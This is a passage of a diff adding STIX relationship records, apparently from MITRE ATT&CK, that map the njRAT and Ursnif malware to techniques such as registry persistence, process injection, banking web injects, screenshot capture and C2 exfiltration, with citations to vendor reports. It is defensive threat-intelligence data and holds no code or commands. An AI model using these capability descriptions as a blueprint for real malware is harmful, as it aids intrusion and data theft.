njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[njRAT](https://attack.mitre.org/software/S0385) enumerates the victim operating system and computer name during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T14:33:01.097Z", + "id": "relationship--005cbf7d-9d0b-443b-91db-7b148a1eb55b", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.402Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[njRAT](https://attack.mitre.org/software/S0385) gathers information about opened windows during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:05:57.748Z", + "id": "relationship--14a2bfd9-8be1-47f9-bced-b05ba2179eb5", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[njRAT](https://attack.mitre.org/software/S0385) will attempt to detect if the victim system has a camera during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:05:57.765Z", + "id": "relationship--30180ece-4504-4b6a-9182-5a2fbe3292df", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.396Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can identify remote hosts on connected networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:05:57.768Z", + "id": "relationship--4b314d34-1e53-46a4-a3b8-131a19b256d6", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.312Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can collect data from a local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:05:57.793Z", + "id": "relationship--fdaeae13-b9f2-4ae5-b4ae-c74fde73adcd", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.403Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has deleted data staged in tmp files after exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.194Z", + "id": "relationship--9b095c7b-09a8-4d4a-8452-98a2f069e73f", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.399Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used tmp files to stage gathered information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.226Z", + "id": "relationship--1e46f5cf-dfaf-4cc6-a685-ee876f371b7e", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Reg](https://attack.mitre.org/software/S0075) to query the Registry for installed programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.234Z", + "id": "relationship--a16da3e1-c81e-4565-a78f-607cb937010b", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.402Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has copied itself to and infected files in network drives for propagation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.338Z", + "id": "relationship--f5faa97f-761c-4978-8535-2d9a42fcdd6f", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "source_name": "TrendMicro Ursnif File Dec 2014", + "description": "Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has dropped payload and configuration files to disk. [Ursnif](https://attack.mitre.org/software/S0386) has also been used to download and execute additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.340Z", + "id": "relationship--0d88d99d-88b0-4e49-b2c3-3607a32069ed", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.444Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro PE_URSNIF.A2", + "description": "Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279" + }, + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.341Z", + "id": "relationship--b892d69f-bdfc-48e8-83f5-3081b9bffa4a", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used Registry Run keys to establish automatic execution at system startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.345Z", + "id": "relationship--084fc3bc-5e50-47fb-97d1-75fa00b6ed79", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.531Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro PE_URSNIF.A2", + "description": "Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279" + }, + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has registered itself as a system service in the Registry for automatic execution at system startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.349Z", + "id": "relationship--89ed7e05-1f94-4693-b290-96c3a9ecd615", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro PE_URSNIF.A2", + "description": "Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has copied itself to and infected removable drives for propagation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.350Z", + "id": "relationship--fc0432e9-1b49-4be8-b86e-15cdec6b070e", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.524Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "source_name": "TrendMicro Ursnif File Dec 2014", + "description": "Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used strings from legitimate system files and existing folders for its file, folder, and Registry entry names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.358Z", + "id": "relationship--72b03734-7e03-4cfe-8f0f-2d366febfb79", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has gathered information about running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.421Z", + "id": "relationship--416447f0-410b-46d6-a4f8-e67ba3c9052f", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.645Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has injected code into target processes via thread local storage callbacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.432Z", + "id": "relationship--6e8621ee-9a1f-4a61-86f4-aae3c3d20d0c", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.657Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "source_name": "TrendMicro PE_URSNIF.A2", + "description": "Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279" + }, + { + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.", + "source_name": "FireEye Ursnif Nov 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used HTTPS for C2 as well as HTTP POSTs to exfil gathered information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.434Z", + "id": "relationship--957e1f09-4474-4c22-a7fd-7d70d3be61ff", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.649Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.", + "source_name": "FireEye Ursnif Nov 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + }, + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has gathered information about running services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.436Z", + "id": "relationship--00490a17-1032-461b-8085-500d56bb80f5", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.442Z", + "id": "relationship--3c7ad637-8d4e-4baa-9cd9-7655d29e1e28", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.653Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used hooked APIs to take screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T17:31:22.446Z", + "id": "relationship--83c4e8d9-1746-43eb-af67-71e10a24da6f", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.642Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "source_name": "TrendMicro Ursnif Mar 2015", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has injected HTML codes into banking sites to steal sensitive online banking information (ex: usernames and passwords).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T19:04:37.847Z", + "id": "relationship--eafddae6-8e14-491b-82af-40ddaccb99c6", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.821Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has collected files from victim machines, including certificates and cookies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T19:04:37.873Z", + "id": "relationship--7942bbcc-cff9-4cc6-b568-5fcd3b6a5ddf", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used Registry modifications as part of its installation routine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T19:04:37.877Z", + "id": "relationship--a6252cbd-82a6-4cd6-a5f6-74507cd49f72", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", + "source_name": "TrendMicro BKDR_URSNIF.SM", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279" + }, + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a custom packet format over TCP and UDP for a peer-to-peer (P2P) network for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T21:30:37.345Z", + "id": "relationship--2c11dfc1-a7bf-4351-8338-9e11e1017b67", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.906Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T21:30:37.369Z", + "id": "relationship--6ee02f06-6250-4c75-b20f-c3271442f59e", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used an XOR-based algorithm to encrypt Tor clients dropped to 